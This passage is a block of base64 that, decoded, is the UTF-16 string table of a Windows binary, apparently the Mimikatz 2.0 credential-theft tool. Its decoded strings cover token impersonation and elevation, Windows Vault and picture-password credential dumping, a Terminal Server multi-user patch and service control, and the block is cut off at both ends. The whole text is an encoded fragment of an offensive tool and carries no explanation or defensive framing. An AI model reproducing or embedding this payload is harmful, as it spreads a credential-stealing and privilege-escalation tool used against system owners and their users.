HQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAJQB1AAkAJQB3AFoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAKAAkAJQBwACAALQA+ACAAJQB1AAAAAAAJACUAdQAAAAkAIAAAAAAACQAlAHAAAAAJACUAUwAAAAkALQA+ACAAJQBTAAAAAAAKAAkAJQBwACAALQA+ACAAJQBwAAkAJQBTACAAIQAgAAAAAAAlAFMAAAAAACMAJQB1AAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAHMAaAB1AHQAZABvAHcAbgAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAHAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFIAZQBzAHUAbQBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB1AHMAcABlAG4AZAAgAHMAZQByAHYAaQBjAGUAAABTAHQAbwBwACAAcwBlAHIAdgBpAGMAZQAAAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAUwBlAHIAdgBpAGMAZQAgAG0AbwBkAHUAbABlAAAAAAAlAHMAIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAABTAHQAbwBwAHAAaQBuAGcAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAGUAcgByAG8AcgAgACUAdQAKAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAG0AYQByAGsAcgB1AHMAcwAAAAAAQwBoAGEAbgBnAGUAIABvAHIAIABkAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGQAaQByAGUAYwB0AG8AcgB5AAAAYwBkAAAAAABEAGkAcwBwAGwAYQB5ACAAcwBvAG0AZQAgAHYAZQByAHMAaQBvAG4AIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAAAHYAZQByAHMAaQBvAG4AAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAABiAGEAcwBlADYANAAAAAAAAAAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAAAAAAFMAbABlAGUAcAAgAGEAbgAgAGEAbQBvAHUAbgB0ACAAbwBmACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAAABzAGwAZQBlAHAAAABQAGwAZQBhAHMAZQAsACAAbQBhAGsAZQAgAG0AZQAgAGEAIABjAG8AZgBmAGUAZQAhAAAAYwBvAGYAZgBlAGUAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYQBuAHMAdwBlAHIAAAAAAAAAAABDAGwAZQBhAHIAIABzAGMAcgBlAGUAbgAgACgAZABvAGUAcwBuACcAdAAgAHcAbwByAGsAIAB3AGkAdABoACAAcgBlAGQAaQByAGUAYwB0AGkAbwBuAHMALAAgAGwAaQBrAGUAIABQAHMARQB4AGUAYwApAAAAAABjAGwAcwAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAABlAHgAaQB0AAAAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAFMAdABhAG4AZABhAHIAZAAgAG0AbwBkAHUAbABlAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABCAHkAZQAhAAoAAAA0ADIALgAKAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAdAByAHUAZQAAAAAAZgBhAGwAcwBlAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAADgANgAAAAAAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAGEAcgBjAGgAIAB4ADgANgApAAoAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgBtAHMAdgBjACAAJQB1ACAAJQB1AAoAAABDAHUAcgA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAGUAdwA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAFMAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAVQBuAGsAbgBvAHcAbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEEAbgBvAG4AeQBtAG8AdQBzAAAAUgBlAHYAZQByAHQAIAB0AG8AIABwAHIAbwBjAGUAcwAgAHQAbwBrAGUAbgAAAAAAcgBlAHYAZQByAHQAAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAgAGEAIAB0AG8AawBlAG4AAABlAGwAZQB2AGEAdABlAAAATABpAHMAdAAgAGEAbABsACAAdABvAGsAZQBuAHMAIABvAGYAIAB0AGgAZQAgAHMAeQBzAHQAZQBtAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAHcAaABvAGEAbQBpAAAAAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAdABvAGsAZQBuAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACoAIABUAGgAcgBlAGEAZAAgAFQAbwBrAGUAbgAgACAAOgAgAAAAbgBvACAAdABvAGsAZQBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBsAG8AYwBhAGwAXwBkAG8AbQBhAGkAbgBfAHUAcwBlAHIAXwBDAHIAZQBhAHQAZQBXAGUAbABsAEsAbgBvAHcAbgBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAgACgAJQBzACkAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQBsAGwAbwB3ACAAbQB1AGwAdABpAHAAbABlAHMAIAB1AHMAZQByAHMAAABtAHUAbAB0AGkAcgBkAHAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAcwAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAZQBuAHQAZQByAHAAcgBpAHMAZQAAAAAAcwBlAHMAcwBpAG8AbgAAAG4AbwBuAGUAAAAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAEIAaQBvAG0AZQB0AHIAaQBjAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAAAKAFYAYQB1AGwAdAAgADoAIAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBMAGEAcwB0AFcAcgBpAHQAdABlAG4AIAAgACAAIAAgADoAIAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAACQAJACoAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAqACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAHMAXAAlAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAJAAkAIABbACUAdQBdACAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAuACoAcwBcAAAAJQAuACoAcwAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAUABlAHIAcwBpAHMAdAAgAD4AIABtAGEAeABpAG0AdQBtACkAAAA/ACAAKAB0AHkAcABlACAAPgAgAEMAUgBFAEQAXwBUAFkAUABFAF8ATQBBAFgASQBNAFUATQApAAAAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6AAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAABpAG4AZgBvAHMAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUg